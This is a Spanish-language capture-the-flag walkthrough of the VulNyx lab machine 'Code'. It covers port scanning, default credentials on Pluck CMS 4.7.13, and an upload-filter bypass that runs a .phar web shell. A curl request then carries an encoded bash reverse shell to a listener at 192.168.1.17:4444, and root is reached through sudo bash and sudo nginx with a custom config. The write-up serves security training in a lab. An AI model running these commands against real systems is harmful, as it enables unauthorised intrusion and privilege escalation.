VulNyx - Code
- Pluck CMS 4.7.13 - File Upload RCE (Authenticated) - Manual
- Abuse bash Binary - User Pivoting
- Abuse nginx Binary - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.14
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Realizo fuerza bruta de directorios.
❯ gobuster dir -u 192.168.1.14 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.14
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pluck (Status: 301) [Size: 312] [--> http://192.168.1.14/pluck/]
Visito el nuevo directorio.
Al darle click a admin me lleva a un formulario de login, también se puede apreciar la versión pluck 4.7.13
.
Pruebo contraseñas por defecto y consigo acceder al panel.
Me voy a pages/manage files
En manage files
subo una shell.
La sube correctamente pero convierte el archivo php en txt.
Si visualizo el archivo se puede observar que es un txt.
Abro burpusite e intercepto la petición.
Mando la peticion al intruder.
En payload añado una lista de extensiones.
Una vez termina me voy al directorio files y observo que varias extensiones no se han convertido en txt.
Obtengo ejecución remota de comandos con el archivo cmd.phar
.
Uso curl para mandarme una shell de bash.
❯ curl "192.168.1.14/pluck/files/cmd.phar?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.17%2F4444%200%3E%261%22"
Obtengo la shell.
❯ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.14: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.14] 34882
bash: cannot set terminal process group (482): Inappropriate ioctl for device
bash: no job control in this shell
www-data@code:/var/www/html/pluck/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumero permisos de sudo.
www-data@code:/var/www/html/pluck/files$ sudo -l
Matching Defaults entries for www-data on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on code:
(dave) NOPASSWD: /usr/bin/bash
Paso de usuario www-data a dave de la siguiente forma.
www-data@code:/var/www/html/pluck/files$ sudo -u dave /usr/bin/bash
dave@code:/var/www/html/pluck/files$ id
uid=1000(dave) gid=1000(dave) groups=1000(dave)
Vuelvo a enumerar permisos de sudo.
dave@code:~$ sudo -l
Matching Defaults entries for dave on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dave may run the following commands on code:
(root) NOPASSWD: /usr/sbin/nginx
Después de varias pruebas d4t4s3c me da una pista para a crear el archivo nginx.conf
.
user root;
events {
worker_connections 1024;
}
http {
server {
listen 65001;
location / {
root /;
}
}
}
Con socket statistics
compruebo las conexiones de red.
Lanzo nginx con la flag -c
para que el binario use el archivo de configuración que tengo en la carpeta /tmp
.
dave@code:/tmp$ sudo /usr/sbin/nginx -c /tmp/nginx.conf
Compruebo que nginx se ha iniciado correctamente.
Con curl obtengo la llave rsa de root pero se puede observar que está encriptada.
He intentado romper el passphrase sin éxito y después de darle muchas vueltas
d4t4s3c
me ha ofrecido una valiosa pista que me ha llevado al siguiente directorio el cual ya visité anteriormente pero por una mala enumeración se me pasó por alto el archivopass.php
.
Lanzo cat para ver el contenido de pass.php
y encuentro una cadena que parece ser una contraseña.
Obtengo el root.
Y aquí termina la máquina Code.
Saludos!